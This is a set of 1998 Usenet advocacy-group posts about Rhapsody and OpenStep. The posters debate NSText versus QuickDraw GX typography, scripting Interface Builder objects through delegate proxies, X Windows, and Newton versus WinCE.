points that can make distinctions between inter and intra-glyph divisions,
even if they are sitting at odd angles. I haven't a clue how to do such a
thing and I wouldn't know where to look to find the algorithms to do it. If
NSText doesn't provide this functionality for an arbitrary line or block of
text, regardless of the orientation of the individual characters/glyphs
within that block, I just couldn't do it. This is the kind of thing that an
Apple or Adobe has to do.
I don't think that you guys appreciate the magnitude of the task of
recreating GX without Apple. The line layout formatting chapters are only a
fraction of what GX typography involves but formatting within NSText is all
that I've ever heard mentioned.
Does NSText support font face layers, where each face is a duplicate of the
original character which can have the traditional 3x3 GX transform applied
to it, as well as stylistic variations based on patterns, and other
geometric modifications usually applied to standard graphics shapes?
Can I plot a single line of NSText at different angles or perspectives
from the rest of the NSText? Can I format an entire paragraph and then grab
each individual line of text and make it fan out from a center point based
on the left-hand margin? Howabout make the text follow a curve and allow
fully-formatted in-place editing of multi-language text that follows that
curve?
These are the kinds of things that I can do right now using the GX layout
shape. It only formats on a per line basis, but each line can be placed as
I like. In order for me to recreate the functionality of GX typography
using NSText, I'd have to have ALL of the capabilities of GX layout shapes
and glyph shapes available within the NSTExt class. I just don't believe
that Apple has provided me with nearly 100 class methods devoted to GX-like
text functionality, as well as the methods needed to make NSText useful in
more mundane text-editing settings.
Do you?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:30:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g0av1$3a8$2@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <slrn6duen6.q82.sal@panix3.panix.com>
<slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net>
<slrn6i2mja.a5o.sal@panix3.panix.com> <slrn6i2sbf.a5o.sal@panix3.panix.com>
<01bd5e69$808ea150$4fefbda5@DTM41727>
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Xcanpos: shelf.01/199804150201!0014241647
In <01bd5e69$808ea150$4fefbda5@DTM41727> "Ron Peterson" claimed:
> It would be nice to bundle the C compiler and Unix libraries so that Unix
> applications
> can be compiled without buying the entire software development kit.
Can't you just download it from GNU?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:36:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g0b94$3a8$3@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fmtdo$qr7$1@quasar.dim <rmcassid-0104981001030001@dante.eng.uci.edu> <6fudoa$nqe$1@crib.bevc.blacksburg.va.us>
<rmcassid-0104981421190001@dante.eng.uci.edu> <slrn6i6bg4.j6l.sal@panix3.panix.com>
<rmcassid-0204980855490001@dante.eng.uci.edu>
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Xcanpos: shelf.01/199804150201!0014246435
In <rmcassid-0204980855490001@dante.eng.uci.edu> rmcassid@uci.edu claimed:
> But QT brings *so* much more than that - codecs, time syncronization
> through tracks, lots of stuff. Better to shove AS into QT and be done with
> it.
Yeah, BUT. Is the right way to do this to shove AS into QT, or just make
AS really QT smart (or vice versa I suppose). The AS object model should
allow QT to export all of this information so you can ask it for "the first
picture track of the third movie" or something like that and then work with
it.
Sure speed is a serious issue, but I think that AS is about to get a LOT
faster, and if so then maybe you just put in the bytecode interpreter and
leave the "engine" outside? That way scripts could be put into movies as a
"track" in the same way that you can put scripts into attachable apps, and
they'll run on anything with QTML. But if you want to _edit_ them you need
the full blown AS server, under YB.
> That's not to say that a lot of other problems couldn't be solved by AS+IB
> Lite but interactive time-keyed streaming multimedia could be a very, very
> big market for Apple.
Sure, but I'm personally more interested in the other things. Hell, I'd
love to get my hands on it so I could add it to our app.
> BTW, I *do* want AS+IB lite - I have it right now, sort of, in FaceSpan.
Yup. My only complaint is that when I needed it, the company I worked for
balked at the price. It's too much money for many apps - although I firmly
believe Apple should bundle it and Scripter with ever Mac sold.
> Two different things, IMO.
Yeah, that's true, maybe it does need two tools. I just look at them being
so close that two seems odd.
Maury
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: Thu, 02 Apr 1998 07:54:52 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3523444C.1418465B@nstar.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <350ce48e.0@maser.urz.unibas.ch> <6eirc9$54j$4@ns3.vrx.net> <350D7C4F.D69@convex.hp.com> <6ejfi1$jst$3@ns3.vrx.net> <350DCA12.2722@convex.hp.com> <slrn6grv2b.hto.sal@panix3.panix.com> <350E4078.D8B6B744@nstar.net> <slrn6gt9te.r9f.sal@panix3.panix.com> <350EB950.2ABAE182@nstar.net> <slrn6hcab8.94c.mbkennel@lyapunov.ucsd.edu> <3517D44B.A05944BE@nstar.net> <slrn6hg6kg.kjn.sal@panix3.panix.com> <351824A0.3723@nstar.net> <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> On Wed, 01 Apr 1998 06:19:51 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> >I don't insist that anybody use X Windows. I just like to use it for
> >myself, and it would be nice if those with other systems could keep
> >their uninformed mouths shut when it comes to sour grapes.
>
> It would be nice if you practiced what you preached.
Whatever, Sal. I bought a NeXT Cube and I've used a fair number of
heterogenous systems. I'm pretty well informed, if I may be so bold. But
I don't come into this group playing devil's advocate and bashing
Rhapsody on specious grounds, so I don't know what you mean.
You have Linux experience, so I entertain discussions of X with you. But
you really go overboard when you start asking "What, in your words, is
xlib?" with the implicit suggestion that you're way out of your depth. I
don't discuss deep DPS issues as an advocate because I'm not a
PostScript programmer by trade. Why should you act any differently?
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:30:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g0au4$3a8$1@ns3.vrx.net>
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In <B1488FCF-4D423@206.165.43.158> "Lawson English" claimed:
> It might be doable, but it might not be. For instance, the NSText class
> sounds really cool, but I'm not sure that it is the equivalent of the
> hypothetical gxParagraph shape.
I think you mean NSMutableParagraphStyle. You don't have to do that one.
> Leaving aside the issues of whether or not
> GX's color-handling are possible in DPS
Well looking at the current color management stuff (which is pretty kick
ass) I don't think you need to do this one either.
> there's issues like full control
> of layout of each line and character individually
Dunno about this.
> the ability to convert
> the NSText into individually placeable glyphs while retaining the textness
> of the shape and the ability to relate it back to the original NSText
> block.
That's not hard to do, but I shouldn't say it so solidly because I'm
leaving that for 1.x.
> I haven't seen the current implementation of NSText and I imagine that it
> is still a work in progress, but the GX typography book is 500 pages long
> and it isn't all fluff.
I think you may be confusing the various layers here, there's the NSText
which is the layoutish side of things, then the NSString which has the
unicode side of things, then there's the AttributedString which (kinda) takes
care of the fonts and style stuff. It's a bit spread out, although it makes
sense when you use it (but I've only done real work at the string level, so
let me get back to you on that).
> the GX layout shape and unless NSText provides that level of control AND
> allows one to play with it ala the gxGlyph shape, I don't think that I'm
> quite up to the level of programming required to create a GXKit.
Nah, it's just harder.
> I don't think that you guys appreciate the magnitude of the task of
> recreating GX without Apple.
Yeah, but do we need it all? Or do we need 80% of it? 50%? The stuff
that would have made my job easier would have been the lower 10%.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 15:47:37 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g0bup$3a8$4@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6ft27m$f9q$1@ns3.vrx.net>
<6fudtl$nr3$1@crib.bevc.blacksburg.va.us> <6ftvb0$71b$2@ns3.vrx.net>
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In <6g0mne$phl$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> So, in what sense is that an IB "Lite"? Are you thinking of a separate
> product to do this?
Sorry, I should have been more clear on this. No actually I suppose IB
could go out as is. I think you'd want to have the scripts "tightly"
attached to the objects they work on (AS'ing is not like writing code, you're
basically putting text in the "script" field of NSObject for lack of a better
way to describe it). You also want the interaction internalized in IB, so I
can view and edit this "invisibly", although under OS that certainly doesn't
preclude a separate app.
> I haven't used Joy. Does it let you attach scripts to standard AppKit
> objects as a combined target/action, or does it do something else?
It works at that _level_, but I can't say I really understand how.
Target/action isn't always what you want though, because in many cases you'd
like the code to be "internal". For instance you might want to have a button
do an NSBeep when clicked - and from the user perspective the button is the
place to have that code. Thus you wouldn't really "connect" it to anything.
Now that's just one way to do it, and on large projects this leads to all
sorts of problems where you end up with code all over the place. Another way
to do this is to go with the AppWare model, which is very much like actions,
but the targets look to the user like "individual commands". For instance
you make your interface, then you find your button, drag in a NSBeep icon,
and connect the button to the icon and select "mouseDown". The end result is
the same, the code is "in" the button.
What this does after that is anyone's guess, but likely it does just that,
add code into a container in the existing classes. Alternately I suppose it
could make a new class of that object with those particular behaviours
(leading to lots of similar classes), or better yet I suppose - oh wait, this
is the way to do it...
Ok, what you do is have these new scripts contained in instances of
something called a NSScriptController, which is then made a delegate of the
object you're scripting. When your object gets a message it first looks to
see if it has one of these, and if so passes on the message. The NSSC gets
the message and looks for an "on" handler for the same name (or better yet,
have some nice matching) then runs the script. So then your scripting
interface is basically an IB editor for NSSC, the instances of which are
frozen out like any other object.
Oh yeah, this would KICK ASS! Think about it, if you don't like what's
going on, or the speed, or whatever, make the code in C and then just change
the delegate of the button! Mix your own scripts and C with that already in
the kit's and other people's C subclasses of NSSC etc. Coooool.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 2 Apr 1998 13:46:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1494835-10C21@206.165.43.94>
References: <rmcassid-0204980955590001@dante.eng.uci.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Xcanpos: shelf.01/199804150201!0016734901
rmcassid@uci.edu said:
>
> Sometimes you just end up on the wrong end of cutting edge. Newton could
> never really compete long-term with WinCE because of WinCE's ties to
> Windows. No amount of marketing can overcome that.
Excuse me?: WinCE wasn't even vapor for several years after NewtonOS was
released and Apple had ALL of that time in which to establish NewtonOS's
dominance and they blew it. That's the most incredible case of revisionism
that I've ever seen, Robert. WinCE wasn't a contender in this market and
likely wouldn't be now if NewtonOS had been marketed properly.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 13:54:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14949EB-17322@206.165.43.94>
References: <rmcassid-0204980855490001@dante.eng.uci.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Xcanpos: shelf.01/199804150201!0018801008
rmcassid@uci.edu said:
>
> But QT brings *so* much more than that - codecs, time syncronization
> through tracks, lots of stuff. Better to shove AS into QT and be done
with
> it.
It's an interesting question. The goal of HC 3.0 and QT x.x is to allow
playback of ANY HC stack that doesn't use x-thangs (or maybe that does, if
they are played on a Mac/Blue Box). HC already allows one to write scripts
in AppleScript instead of Hypertalk. The problem, of course, is that AS
doesn't know about any aspect of QuickTIme scripting, so you'd have to
provide it with the interface to QT to make AS scripts work the way QTI
will.
I suspect that QTI (sometimes called HyperTalk 3.0) will be far better
suited to QuickTime control than AS would be.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 21:31:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i80t8.kjl.sal@panix3.panix.com>
References: <slrn6i6bot.j6l.sal@panix3.panix.com> <B1488FCF-4D423@206.165.43.158>
Xcanpos: shelf.01/199804150201!0031936273
On 2 Apr 1998 00:40:04 -0700, Lawson English <english@primenet.com> wrote:
>It might be doable, but it might not be. For instance, the NSText class
>sounds really cool, but I'm not sure that it is the equivalent of the
>hypothetical gxParagraph shape. Leaving aside the issues of whether or not
<<snip>>
>I haven't seen the current implementation of NSText and I imagine that it
>is still a work in progress, but the GX typography book is 500 pages long
>and it isn't all fluff. There is a LOT of layout control available within
>the GX layout shape and unless NSText provides that level of control AND
>allows one to play with it ala the gxGlyph shape, I don't think that I'm
>quite up to the level of programming required to create a GXKit. There's
<<SNIP>>
>I don't think that you guys appreciate the magnitude of the task of
>recreating GX without Apple. The line layout formatting chapters are only a
Lawson, if you aim to capture the top 10% of what GX can do, and then extend it
in a clean OO way, you'll end up with a better system than GX. Iam very willing
to move this to email and discuss it with you.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 16:36:44 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <6g10dc$poi$1@crib.bevc.blacksburg.va.us>
References: <199801202218001457904@ppp8.hol.fr> <6ftvb0$71b$2@ns3.vrx.net> <6g0mne$phl$1@crib.bevc.blacksburg.va.us> <6g0bup$3a8$4@ns3.vrx.net>
In article <6g0bup$3a8$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6g0mne$phl$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > So, in what sense is that an IB "Lite"? Are you thinking of a separate
> > product to do this?
> Sorry, I should have been more clear on this. No actually I suppose IB
> could go out as is. I think you'd want to have the scripts "tightly"
> attached to the objects they work on (AS'ing is not like writing code, you're
> basically putting text in the "script" field of NSObject for lack of a better
> way to describe it).
Certainly, I understand.. you want scripts to be bound to graphical
objects directly, as a property of those objects.
> > I haven't used Joy. Does it let you attach scripts to standard AppKit
> > objects as a combined target/action, or does it do something else?
> It works at that _level_, but I can't say I really understand how.
> Target/action isn't always what you want though, because in many cases you'd
> like the code to be "internal". For instance you might want to have a button
> do an NSBeep when clicked - and from the user perspective the button is the
> place to have that code. Thus you wouldn't really "connect" it to anything.
Well, I was envisioning an "internal" connection.. when you associate a
script with the button, you're also transparently setting the button's
target to the script object and its action to a -doScript: method.
I think that's more or less what you want. If you had a button subclass,
you could also make the associated script an ivar of the button.
> Now that's just one way to do it, and on large projects this leads to all
> sorts of problems where you end up with code all over the place. Another way
> to do this is to go with the AppWare model, which is very much like actions,
> but the targets look to the user like "individual commands". For instance
> you make your interface, then you find your button, drag in a NSBeep icon,
> and connect the button to the icon and select "mouseDown". The end result is
> the same, the code is "in" the button.
You could do the same thing by instantiating an NSBeep from a palette
in the Instances window and drawing a connection from the button to the
NSBeep instance.. that instance would also act as a Flyweight (if you're
familiar with the GOF patterns); any number of buttons could share it
as their mouse-down action by making it their target.
> What this does after that is anyone's guess, but likely it does just that,
> add code into a container in the existing classes. Alternately I suppose it
> could make a new class of that object with those particular behaviours
> (leading to lots of similar classes), or better yet I suppose - oh wait, this
> is the way to do it...
> Ok, what you do is have these new scripts contained in instances of
> something called a NSScriptController, which is then made a delegate of the
> object you're scripting. When your object gets a message it first looks to
> see if it has one of these, and if so passes on the message.
What sort of message? Any Obj-C message? I don't know how you'd work
that with the existing classes except by putting a proxy in front of the
actual object. On the other hand, you could subclass something like
NSButton and have default implementations of mouseDown:, etc. that
forwards to the delegate (if it exists).
> The NSSC gets
> the message and looks for an "on" handler for the same name (or better yet,
> have some nice matching) then runs the script.
How about having a bunch of NSScript instances, and you just mix-and-match
the ones you want into your NSSC by stuffing the ones you want into a
dictionary, with the keys being the message names? Heck, you could even
define the mapping in a .plist file, or swap mappings in and out to
change behaviors..
> So then your scripting
> interface is basically an IB editor for NSSC, the instances of which are
> frozen out like any other object.
Right, definitely. The only issue is getting all these messages to the
delegate, which I don't see how you could do without subclassing all of
the various graphical classes. It would be nice if you could categorize
them and use them "as-is", but I don't see how..
> Oh yeah, this would KICK ASS! Think about it, if you don't like what's
> going on, or the speed, or whatever, make the code in C and then just change
> the delegate of the button!
Precisely. In fact, I've invented a design pattern for this sort of
thing. I haven't thought of a good name for it yet (I think I'll post
to the WikiWikiWeb and ask them..), but it goes like this:
Suppose you want to have a whole bunch of things that have a certain
behavior. Such as a script bound to a button, or a certain kind of
event-handling behavior for an NSView. Instead of implementing it all
in the button or view class, the natural thing to do is to delegate it.
In fact, you make a Strategy Flyweight (in the GOF language) to do it;
for example, instead of implementing some event-handling behavior
in NSView's -mouseDown:, you make a Strategy Flyweight controller
that has a -mouseDown:forObject: method, and the NSView merely sends
that message to its delegate passing 'self' as the second parameter.
That way, multiple views can share the same behavioral strategy.
Now, this can be generalized into the pattern I spoke of. The problem
is, suppose you have a bunch of NSView's sharing the same behavior,
or a bunch of NSButton's sharing the same script. Then suppose you
want to _alter_ that behavior.. you want to have all those views use
a different delegate. Actually, in the scripting case, they could all
keep the same delegate and just change the script that that delegate
contains, but in the more general case without scripting, you might need
to use a different object altogether to change the behavior. Or maybe
you _don't_ want to change the script that the delegate holds because
you want to use it again; perhaps you just want to temporarily _swap_
behaviors and still have the old one hanging around, the best way might
be to swap delegate objects.
Now, the problem is that if you want to do this, you've got to go to
each and every view or button or whatever and change its delegate. Bad.
So what you do, of course, is add a level of indirection. If a group of
buttons or views or whatever are to share the same behavior, you point
them all to the same behavioral delegate _proxy_. The proxy holds a
pointer to the _real_ behavioral delegate. So if you want to change the
behavior of a whole group of things at once, you just change the thing
that their proxy holds, a one-step process, and then wham, they all have a
different behavior. (This is useful in the State pattern too, of course.)
I bet someone's already invented this pattern before but I don't know
of its name.. it's a proxy-flyweight kind of thing, but that describes
is structure more than its intent..
> Mix your own scripts and C with that already in
> the kit's and other people's C subclasses of NSSC etc. Coooool.
Right, it's really a rather obvious solution if you think about it.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: The never ending X debate (WAS: Re: NeXT style scroll bars)
Date: 2 Apr 1998 21:41:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6i81gr.kjl.sal@panix3.panix.com>
References: <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com> <3523D9A1.80009B7C@nstar.net>
Xcanpos: shelf.01/199804150201!0033538048
On Thu, 02 Apr 1998 18:32:01 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> On Thu, 02 Apr 1998 07:54:52 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>> >I don't come into this group playing devil's advocate and bashing
>> >Rhapsody on specious grounds, so I don't know what you mean.
>> Do you have Rhapsody? Have you used Rhapsody? Have you developed under
>> Rhapsody?
>No, no, and...uh...no. And without any further ado, your point!
>_____________________________ (fill in point here)
You don't use Rhapsody. You have nver developed under Rhapsody. From your
posts listing your problems under NeXTStep, it is clear to see that you have
never had a chance to RTFM on NeXTStep.
Yet you post a never ending list of complients on it. You might have used it
for a while, but it is clear that you do not know enough about it to contrast
and compare it to X.
>No, that's not true. Actually, your supposed understanding of X was what
>changed on an article-by-article basis. You're the one who claims X
>experience, but you can't understand any of the lexicon I've been using.
>In reply you accuse me of shifting definitions. To that I say, if you
>understood the topic of the conversation in the first place, you
>wouldn't need MY definitions.
Ok, fine. You win. I am clueless about X. Now please enlighten me with your
definitions.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 17:03:54 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6g0gdq$3a8$10@ns3.vrx.net>
References: <199801202218001457904@ppp8.hol.fr> <6ftvb0$71b$2@ns3.vrx.net>
<6g0mne$phl$1@crib.bevc.blacksburg.va.us> <6g0bup$3a8$4@ns3.vrx.net>
<6g10dc$poi$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: nurban@crib.bevc.blacksburg.va.us
Xcanpos: shelf.01/199804150201!0035240085
In <6g10dc$poi$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Certainly, I understand.. you want scripts to be bound to graphical
> objects directly, as a property of those objects.
Yeah, I _think_ so anyway.
> Well, I was envisioning an "internal" connection.. when you associate a
> script with the button, you're also transparently setting the button's
> target to the script object and its action to a -doScript: method.
> I think that's more or less what you want. If you had a button subclass,
> you could also make the associated script an ivar of the button.
Right, that's the part I wasn't looking at right. I was assuming that the
script would be a property of the object itself, but that doesn't follow
under OS.
> You could do the same thing by instantiating an NSBeep from a palette
> in the Instances window and drawing a connection from the button to the
> NSBeep instance.
Yeah, absolutely. The only issue there I think is that it gets a little
messy. Then again, EOF does it.
> What sort of message? Any Obj-C message? I don't know how you'd work
> that with the existing classes except by putting a proxy in front of the
> actual object.
Ok, that would work too.
> On the other hand, you could subclass something like
> NSButton and have default implementations of mouseDown:, etc. that
> forwards to the delegate (if it exists).
Right. Actually I've always though EVERYTHING should have a delegate.
> How about having a bunch of NSScript instances, and you just mix-and-match
> the ones you want into your NSSC by stuffing the ones you want into a
> dictionary, with the keys being the message names?
Yeah, that would be even better. Then it starts rubbing into my
pallet-of-common-actions-you-string-together idea.
> Right, definitely. The only issue is getting all these messages to the
> delegate, which I don't see how you could do without subclassing all of
> the various graphical classes.
Yeah, you'd have to. But shouldn't they anyway?
> Suppose you want to have a whole bunch of things that have a certain
> behavior. Such as a script bound to a button, or a certain kind of
> event-handling behavior for an NSView. Instead of implementing it all
> in the button or view class, the natural thing to do is to delegate it.
> In fact, you make a Strategy Flyweight (in the GOF language) to do it;
> for example, instead of implementing some event-handling behavior
> in NSView's -mouseDown:, you make a Strategy Flyweight controller
> that has a -mouseDown:forObject: method, and the NSView merely sends
> that message to its delegate passing 'self' as the second parameter.
> That way, multiple views can share the same behavioral strategy.
Ok, with you.
> Now, this can be generalized into the pattern I spoke of. The problem
> is, suppose you have a bunch of NSView's sharing the same behavior,
> or a bunch of NSButton's sharing the same script. Then suppose you
> want to _alter_ that behavior.. you want to have all those views use
> a different delegate. Actually, in the scripting case, they could all
> keep the same delegate and just change the script that that delegate
> contains, but in the more general case without scripting, you might need
> to use a different object altogether to change the behavior.
Yeah, but is that a bad thing, or even a tough thing?
> Now, the problem is that if you want to do this, you've got to go to
> each and every view or button or whatever and change its delegate.
Ahhhh, with you again.
> So what you do, of course, is add a level of indirection. If a group of
> buttons or views or whatever are to share the same behavior, you point
> them all to the same behavioral delegate _proxy_. The proxy holds a
> pointer to the _real_ behavioral delegate.
Ah yes.
> > Mix your own scripts and C with that already in
> > the kit's and other people's C subclasses of NSSC etc. Coooool.
>
> Right, it's really a rather obvious solution if you think about it.
Yeah, but would anyone see it if they weren't using OpenStep or SmallTalk?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3523c525.0@206.25.228.5>
Date: 2 Apr 98 17:04:37 GMT
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
> In comp.os.linux.advocacy , article <351f11d5.0@206.25.228.5> ,
> John Kheit <jkheit@xtdl.com> wrote:
> >> Anyway, as I said: I don't know enough about RHAPSODY to give
> >> it a technological review -- at least not one to my standards.
> >> But it seems to me that it has the proprietary software model
> >> (Mach
> > But it seems to me, despite your admitted, repeated, and
> > demonstrated ignorance, you will persist in spewing, repeating,
> > and demonstrating it all about the net.
> Whatever.
Exactly, anything or everything you do.
> >> or no Mach, BSD or no BSD) for its OpenStep API, and it has
> >> Steve Jobs' "everything should be done in a GUI" philosophy.
> >> I simply disagree with both the proprietary architecture, and
> >> the 100% GUI philosophies.
> > OpenStep is a free and open API for anyone to use. GNU and
> > SUN are using it. It's an open standard.
> YES... it is an openstandard, and that has something to be said
> for it...
> But the code itself is proprietary, and isn't OpenSource. I'll
> spare you my political speech about why things should be OpenSource,
> and leave it at this: I want an OS I can contribute to.
Then join the GNUSTEP crew. You can look at that code right now.
You can contribute to that right now. You can use that right now.
> > As to the 100% GUI bit, you are wrong. True, OpenStep supports
> > a lot of nice GUI stuff, but it supports a ton of non GUI stuff.
> > As to the core OS, there is always Terminal.app if you want to
> > get down and boogie like a gear head.
> I'm not talking about OpenStep API, but its implimentation in
> NS.
Well, I say you should start with the biggest violators. MS. When
you fix their little wagon, you can get to apple's little red one.
Don't get me wrong, I'd like to see that happen too. I just realize
it's not a liklihood. Just like I'd like to see peace on earth,
good will toward all mankind, find a magic lamp, surround myself
with porsches and bimbets, etc. etc. There are things we like,
and things we can expect. There is some overlap, thankfully, in
life. But not to the extent we all would like.
> The latest version of NS I really used wasn't too bad as far a
> the CLI/GUI went. It was a little too heavy on the GUI, but I'm
> speculating on Rhapsody here (notice, it wasn't even a review)...
> Look at MacOS. CLI doesn't even exist, save the debug screen.
> I suspect, with Steve Jobs' idiocy software design, that everything
> will be GUI...
That's intersting. Too heavy on CLI? You can run in terminal mode
without ever interacting with the GUI if you like. It can be as
stock and vanilla a unix as you like. Or do you mean the GUI apps
didn't allow for traversal with the keyboard extensively enough?
If that's what you mean, then I agree, a valid complaint.
> Anyway, it's neither here nore there. I intend on for the most
> part ignoring Rhapsody. It doesn't really effect me.
That's fair enough too.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
